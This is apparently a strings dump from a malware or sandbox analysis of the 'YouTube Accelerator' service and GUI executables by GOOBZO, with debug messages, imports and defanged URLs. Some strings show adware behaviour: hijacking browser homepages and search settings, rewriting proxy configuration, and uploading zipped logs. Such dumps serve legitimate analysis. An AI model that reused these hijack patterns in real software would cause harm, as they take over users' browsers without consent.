[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
YoutubeAcceleratorService.exe
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
%s\%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
operator
GetProcessWindowStation
USER32.DLL
c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb
KERNEL32.dll
USER32.dll
ADVAPI32.dll
SHELL32.dll
VERSION.dll
USERENV.dll
PSAPI.DLL
.?AVIPipeEventsThread@@
.?AVCPipeEventThread@@
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe
aSSSh
FTPjK
FtPj;
C.PjRV
]@ ]( ]8
tGHt.Ht&
FTPQ
.?AVunsupported_thread_option@boost@@
zcÁ
SetProcessShutdownParameters
kernel32.dll
COMCTL32.DLL
boost::too_few_args: format-string referred to more arguments than were passed
boost::too_many_args: format-string referred to less arguments than were passed
Required USB Key not found
Failed to execute target process
Cannot find import; DLL may be missing, corrupt, or wrong version
File "%s", function "%s"
File "%s", ordinal %d
File "%s", error %d
(Error code %d)
%X:DAF
(Location XEB, error code %d)
_PAD%d
RNX
%X::DAX
KERNEL32.DLL
.DbgLog
GetWindowsDirectoryW
CreateDialogIndirectParamW
Kernel32.dll
User32.dll
ComDlg32.dll
1.2.3
EXCEPTION_FLT_INVALID_OPERATION
EXCEPTION_FLT_DENORMAL_OPERAND
boost::unsupported_thread_option
mscoree.dll
Visual C   CRT: Not enough memory to complete call to strerror.
.mixcrt
ADVAPI32.DLL
portuguese-brazilian
Broken pipe
Inappropriate I/O control operation
Operation not permitted
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog
GetWindowsDirectoryA
EnumThreadWindows
EnumWindows
CreateDialogIndirectParamA
GetAsyncKeyState
GDI32.dll
comdlg32.dll
GetProcessHeap
GetCPInfo
GetConsoleOutputCP
^.Ad/
.Zvv[
j%FwL
e.tu/
5%up/
A.YNpN\n
%Um-IF
.BV$L|
%X1:S
`?T%Sj
%x@k4
.iyDY
j.Wsf
Cr.BxL
V.Fb7|
$"bM-Q}n
%x R\X
4%sPp
_%S3@
.LvHT
.owm;y,
}R.zmA
.bi@{
>I|.pt|d
t_\A
p}.GF
G){.mf
.xh$x
U.gs!
J|0.tL
.iJp`
.zE:aG
.7%Xs
-DED%xFqz
%cnzb
%UQzss
1%.Ey\=
/\%Dg
.FlC\5
.cA~;
P?=I_.or\
E.yb|4
%SuSw
T.UHuR
:{6@;85|
].Vogz
ZN.sCx
7.ps#
|-j}A
umSg
C.UMxQ
.Yb"%
G P.Qw
dy%u~
x.YCD
$$.tmq
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>
OUTUB~1\YouTubeAcceleratorService.exe
3.3.9.4

YouTubeAccelerator.exe_3840:




.text
`.rdata
@.data
.text1
.adata
.data1
.pdata
.rsrc
uh9.tZ
otuh9.tZ
tZ9.tB
tV9.tB
l$$9.tZ
ub9.tM
@ SSh
SSSSh
D$<9.tZ
\9.tB
D$`9.tZ
FTPj
t#WSSh
D$(PSSh
s%j.Zf
tGHt.Ht&
%a,%d-%b-%Y %H:%M:%S
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
spCmd
3.3.9.4
<img src="images/v4.gif" alt="" />
<img src="images/v3.gif" alt="" />
user32.dll
CWebBrowser2
CNotSupportedException
hhctrl.ocx
CCmdTarget
KERNEL32.DLL
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
OLEACC.dll
c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb
VERSION.dll
KERNEL32.dll
USER32.dll
GDI32.dll
COMDLG32.dll
WINSPOOL.DRV
ADVAPI32.dll
SHELL32.dll
COMCTL32.dll
SHLWAPI.dll
oledlg.dll
ole32.dll
OLEAUT32.dll
WININET.dll
WS2_32.dll
USERENV.dll
PSAPI.DLL
.?AVCCmdTarget@@
.PAVCException@@
.?AVCWebWindow@@
.?AVCHttp@@
.?AVCHttpAsync@@
.?AVCExecuteUpdate@@
.?AVCExitWindows@@
.?AVIHttpEngineConfiguration@@
.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@
.?AVHttpEngineConfiguration@@
.?AVIPipeEventsThread@@
.?AVCSLogReportEventThread@@
.?AVCPipeEventThread@@
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
<>"#{}|\^~[]`' ?&
.?AVCSABaseWebWindow@@
.?AVCSANotifierWebWindow@@
.?AVCSAWebWindow@@
.PAVCMemoryException@@
.?AVCWebBrowser2@@
.?AVCWebForm@@
.?AVCWebElement@@
.?AVCWebInput@@
.?AVCWebAnchor@@
.?AVCWebDiv@@
.?AVCWebCheckBox@@
.PAVCSimpleException@@
.PAVCObject@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.PAVCOleException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCTestCmdUI@@
.?AVCCmdUI@@
.PAVCOleDispatchException@@
.PAVCArchiveException@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.PAVCFileException@@
zcÁ
aSSSh
FTPjK
FtPj;
C.PjRV
]@ ]( ]8
FTPQ
.?AVunsupported_thread_option@boost@@
SetProcessShutdownParameters
kernel32.dll
COMCTL32.DLL
boost::too_few_args: format-string referred to more arguments than were passed
boost::too_many_args: format-string referred to less arguments than were passed
Required USB Key not found
Failed to execute target process
Cannot find import; DLL may be missing, corrupt, or wrong version
File "%s", function "%s"
File "%s", ordinal %d
File "%s", error %d
(Error code %d)
%X:DAF
(Location XEB, error code %d)
_PAD%d
RNX
%X::DAX
.DbgLog
GetWindowsDirectoryW
CreateDialogIndirectParamW
Kernel32.dll
User32.dll
ComDlg32.dll
1.2.3
EXCEPTION_FLT_INVALID_OPERATION
EXCEPTION_FLT_DENORMAL_OPERAND
boost::unsupported_thread_option
mscoree.dll
Visual C   CRT: Not enough memory to complete call to strerror.
.mixcrt
ADVAPI32.DLL
portuguese-brazilian
Broken pipe
Inappropriate I/O control operation
Operation not permitted
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe
GetWindowsDirectoryA
EnumThreadWindows
EnumWindows
CreateDialogIndirectParamA
GetAsyncKeyState
comdlg32.dll
GetProcessHeap
GetCPInfo
GetConsoleOutputCP
^.Ad/
.Zvv[
j%FwL
e.tu/
5%up/
A.YNpN\n
%Um-IF
.BV$L|
%X1:S
`?T%Sj
%x@k4
.iyDY
j.Wsf
Cr.BxL
V.Fb7|
$"bM-Q}n
%x R\X
4%sPp
_%S3@
.LvHT
.owm;y,
}R.zmA
.bi@{
>I|.pt|d
t_\A
p}.GF
G){.mf
.xh$x
U.gs!
J|0.tL
.iJp`
.zE:aG
.7%Xs
-DED%xFqz
%cnzb
%UQzss
1%.Ey\=
/\%Dg
.FlC\5
.cA~;
P?=I_.or\
E.yb|4
%SuSw
T.UHuR
.sq>9
.US?g#
~}.LRy
c.dQ7
ZcMD
@U|
I%S5E
$tTH2.yN"
iZ.ixY
L/%X=
2Ag{%c
v..jv
0\.Hc
v.Wj-
Tcrt
F.gj]
y.jxU
%cl%[
%X_`h
~L.DTh
).Zi0
.TOmY
n^5.fT
WB.Bp
.FuB3
]A]%U
.MAFEz
|SM
.UoZ} 
%Xjv6
.Rw.J
u^.aO!
?*.LO!
,^.ew
|%f;.)
kB.hR
%>.zv
.kif;
^__:;;,,,~
9:;556011---
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
%s (%s:%d)
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl
JhXXp://@BRAND_ID@.@[email protected]/support/video-sites
hXXp://@BRAND_ID@.@[email protected]/buy/hd/
hXXp://wiki.@[email protected]/doku.php?id=va:start
%s?OEM=%s
hXXp://VVV.@[email protected]
hXXp://@BRAND_ID@.@[email protected]/legal/license
blank.html
hXXp://VVV.@[email protected]/legal/privacy
[CAcceleratorEventsData::OnDeserialize] ___Error get URL
@CActivationBrowser::OnBeforeNavigate : url = %s
CActivationBrowser::OnNavigateComplete : url = %s
CActivationBrowser::OnNavigateError : url = %s
Res.dll
CActivationBrowser::SetMetaData GOT 'OPEN_URL'
OPEN_URL
CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'
ACTIVATION_BACK_URL
activation_offline.mht
%X%X%X
hXXp://client.@[email protected]/clientva/Activation.aspx
CActivationBrowser::OnDocumentComplete : url = %s
ipc.dll
\\.\pipe\GOOBZO_VAPIPESERVERENG
LastNum%d
LastID%d
\\.\pipe\GOOBZO_VAPIPESERVERUI
CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s
CBrowserSettings::RegisterDLL %s
%s = %s; expires = %s
%a,%d-%b-%Y %H:%M:%S GMT
2prefs.js
profiles.ini
profile%d
Mozilla\Firefox\
cookies.txt
Software\Microsoft\Internet Explorer\AboutURLs
user_pref("keyword.URL", "%s");
Use Custom Search URL
DefaultSearchURL
SBSearch.dll
SearchURL
Web Search
user_pref("browser.startup.homepage","%s");
restore.GOOBZO.com
hXXp://search.GOOBZO.com
search.GOOBZO.com
%d-%b-%Y
hXXp://restore.GOOBZO.com
user_pref("browser.startup.homepage",
HTTP/1.0
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
HTTP/1.1
Content-Type: multipart/form-data; boundary=%s
Content-Disposition: form-data; name="%s"
XXX
[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d
[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d
test.youtubeaccelerator.com
hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CCommTest::SetEngineMode] %d
vaproxy.pac
[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!
[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d
testlsp.exe
[CCommTest::ProcessNextState] ___Error State = %d !!!
[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d
[CCommTestDlg::ResetConnectionTimer] SetTimer: %d
[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d
CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
showitunesMsg
DontShowAccelerationNotSupported
lastiTunesMsgTime
ManualProxyPort
[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d
[CConfig::IsLastTestingSucceeded] XML - Status = %d
[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)
[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)
[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)
[CConfig::IsTestingMode] TestingMode = %d (XML)
[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)
[CConfig::SetTestingMode] TestingMode = %d (XML)
[CConfig::GetBrandPort] BrandPort = %d
br_port
CConfig::SetCurrentUserKey
ReportCommFailed
[CConfig::SetSendLogFiles] Status = %d
[CConfig::SetSendInstLogFileOnly] Status = %d
[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CConfig::SetTracerOff] ___Error GetRegistryKeys
[CConfig::SetBackup] ___Error GetRegistryKeys
[CConfig::SetBackup] Status = %d
[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list
[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list
[CConfig::IsXBoxMode] Status = %d
[CConfig::SetTracerOn] ___Error GetRegistryKeys
[CConfig::SetTracer] Status = %d
B%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
[CCoreConfig::InitConfig] Product Name %s UseRegistry %d
You are using %s - Translated by:
[CFileResource::Load] ___Error SizeofResource: %d
[CFileResource::Load] ___Error LockResource: %d
[CFileResource::Load] ___Error LoadResource: %d
[CFileResource::Load] ___Error FindResource: %d
[CFileResource::Load] %s
[CFileResource::Extract] ___Error Write: %d
[CFileResource::Extract] ___Error Create: %d
[CFileResource::Extract] %s
[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x
[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d
ListenPort
[EngineConfiguration::GetCurrentUserKey] User Key: %X
[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
HttpRedirectProxyPort
HttpRedirectProxyDomain
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
B[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd
[CExecuteUpdate::OnDeserialize] ___Error get m_Directory
[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters
[CExecuteUpdate::OnDeserialize] ___Error get m_Operation
[CExecuteUpdate::OnDeserialize] ___Error get m_File
[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d
http_port
user.js
user_pref("network.proxy.
autoconfig_url
Windows XP Firewall (ICF)
SOFTWARE\McAfee.com\Personal Firewall
DAP.EXE
Windows Security Alert
%d.%d.%d.%d
HttpHandleAll
HttpWorkerBufferLimit
HttpListenPort
HttpListenIP
.html
\winhlp32.exe
[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL
[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p
[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
http=
[CIEInternetProxySettings::Save] %s - %s = %s
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
Name: %s
Path: %s
Version: %s
%s_%d.log
CSLogReportEventThread::DoPacLogFiles] Zip file created.
*.bak
CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d
*.log
Config.xml
CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.
BakLspCommTest.zip
LspCommTest.zip
[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X
[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED
hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx
[CSLogReportEventThread::DoPostZipFile] Trying to POST...
[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s
hXXp://online.@[email protected]/online/
CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.
CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d
SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original
SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current
M[CRegistrationMgr::IsTrialVersion]%d
exp=%d
ins=%d
Dur=%d
[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s
Trial.dat
Trial_QA.xml
[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s
(%d days left)
DAYURL
[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetDailyUrl]
[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetContinueTrialDailyUrl]
[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s
xmldb.dll
config.xml
RtmpListenPort
MiTunes.exe
[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL
[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL
[CSA_GUIApp::IsTrial] m_bIsTrial = %d
User%d
[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s
[CSA_GUIApp::GoToURL] ___Error The specified file was not found
YouTubeAccelerator.exe
[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s
ytalsp.dll
[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s
[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d
[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s
unwise.exe
[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d
[CSA_GUIApp::GetTempDir] Folder: %s
[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s
%s %s
[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s
YoutubeAcceleratorService.exe
D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s
[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d
[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d
